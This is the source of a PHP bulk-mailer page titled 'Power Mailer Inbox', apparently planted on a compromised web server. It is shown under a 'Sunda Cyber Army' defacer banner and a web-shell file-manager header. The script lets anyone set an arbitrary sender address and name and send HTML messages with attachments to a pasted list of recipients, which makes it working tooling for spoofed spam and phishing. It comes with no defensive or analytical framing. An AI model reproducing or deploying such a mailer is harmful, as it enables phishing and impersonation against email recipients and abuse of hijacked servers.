Sunda Cyber Army


* Sunda Cyber Army 2k17 *
Indonesia Defacer ~


Path : /home/dent/public_html/
File Upload :
Current File : /home/dent/public_html/Misterklio.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Power Mailer Inbox By Mister Klio</title>
    <link rel="icon" type="image/png" href="https://cdn0.iconfinder.com/data/icons/kameleon-free-pack-rounded/110/Paper-Plane-512.png" />
    <meta name="viewport" content="width=device-width">
    <style>
        body {
            background-color: black; /* Dark background */
            color: #00ff00; /* Matrix green */
            font-family: 'Courier New', Courier, monospace; /* Monospace font */
            text-align: center; /* Center align text */
        }
        table {
            width: 100%;
            margin: 20px 0;
            border-collapse: collapse; /* Collapse borders */
        }
        td {
            padding: 10px; /* Add padding to cells */
        }
        textarea, input[type="text"], input[type="email"], input[type="file"] {
            width: 85%;
            border: 1px solid #00ff00; /* Green border */
            border-radius: 5px; /* Rounded corners */
            padding: 5px; /* Padding inside inputs */
            background: black; /* Input background */
            color: #00ff00; /* Text color */
        }
        .btn {
            background: #0c2330;
            border-radius: 12px;
            color: #ffffff;
            font-size: 15px;
            padding: 8px 22px;
            cursor: pointer;
            border: 1px solid #00ff00; /* Green border */
        }
        .btn:hover {
            background: #071a24;
        }
    </style>
    <script>
        // Function to change button color on click
        function changeButtonColor() {
            const button = document.querySelector('.btn');
            const colors = ['#FF5733', '#33FF57', '#3357FF', '#F3FF33', '#FF33A1'];
            let currentColorIndex = 0;

            button.style.backgroundColor = colors[currentColorIndex];
            currentColorIndex = (currentColorIndex + 1) % colors.length;
        }

        // Optional: Function to display a loading message
        function showLoadingMessage() {
            const responseDiv = document.querySelector('.response');
            responseDiv.innerHTML = "Sending emails, please wait...";
        }
    </script>
</head>
<body>

<div align="center">
    <h2 style="color:#00ff00;">Power Mailer Inbox <code style="font-size:12px;color:#0bc4d1;">v2.1</code></h2>
    <p style="font-size:12px;color:#00ff00;">Good Server Send Inbox Use My Script With a Good Server</p>
    <form action="" method="post" enctype="multipart/form-data" onsubmit="showLoadingMessage()">
        <input type="hidden" name="Power" value="sim">
        <table>
            <tr>
                <td><label for="sub">Subject:</label></td>
                <td><input name="sub" type="text" id="sub" placeholder="Subject" required></td>
            </tr>
            <tr>
                <td><label for="Service">Sender Email:</label></td>
                <td><input name="Service" type="text" id="Service" placeholder="Sender Email" required></td>
            </tr>
            <tr>
                <td><label for="sender_name">Sender Name:</label></td>
                <td><input name="sender_name" type="text" id="sender_name" placeholder="Sender Name" required></td>
            </tr>
            <tr>
                <td><label for="html">Message (HTML):</label></td>
                <td><textarea name="html" id="html" rows="8" placeholder="HTML message" required></textarea></td>
            </tr>
            <tr>
                <td><label for="emails">Recipient Emails (one per line):</label></td>
                <td><textarea name="emails" id="emails" rows="8" placeholder="recipient@example.com" required></textarea></td>
            </tr>
            <tr>
                <td><label for="attachment">Attachment:</label></td>
                <td><input type="file" name="attachment" id="attachment"></td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <input type="submit" class="btn" value="Send Message" onclick="changeButtonColor()">
                </td>
            </tr>
        </table>
    </form>

    <?php
    if (isset($_POST['Power']) && $_POST['Power'] == 'sim') {
        $message = $_POST['html'];
        $subject = $_POST['sub'];
        $sender_email = $_POST['Service'];
        $sender_name = $_POST['sender_name'];
        $to = $_POST['emails'];
        $attachment = $_FILES['attachment'];

        $email_list = explode("\n", $to);
        $email_list = array_filter(array_map('trim', $email_list)); // Remove any empty lines

        foreach ($email_list as $email) {
            // Prepare email headers
            $headers = "MIME-Version: 1.0\r\n";
            $headers .= "From: $sender_name <$sender_email>\r\n";
            $headers .= "Reply-To: $sender_email\r\n";
            $headers .= "Content-Type: multipart/mixed; boundary=\"boundary\"\r\n";

            // Prepare email body
            $body = "--boundary\r\n";
            $body .= "Content-Type: text/html; charset=UTF-8\r\n";
            $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
            $body .= $message . "\r\n";
            
            // If there's an attachment, add it to the email
            if ($attachment['error'] == UPLOAD_ERR_OK) {
                $file_name = $attachment['name'];
                $file_tmp = $attachment['tmp_name'];
                $file_type = $attachment['type'];
                $file_content = chunk_split(base64_encode(file_get_contents($file_tmp)));
                
                $body .= "--boundary\r\n";
                $body .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
                $body .= "Content-Transfer-Encoding: base64\r\n";
                $body .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
                $body .= $file_content . "\r\n";
            }
            $body .= "--boundary--";

            // Send the email
            if (mail($email, $subject, $body, $headers)) {
                echo "<div style='color: green;'>Email sent successfully to: $email</div>";
            } else {
                echo "<div style='color: red;'>Failed to send email to: $email</div>";
            }
        }
    }
    ?>
    <div class="response"></div>
</div>

</body>
</html>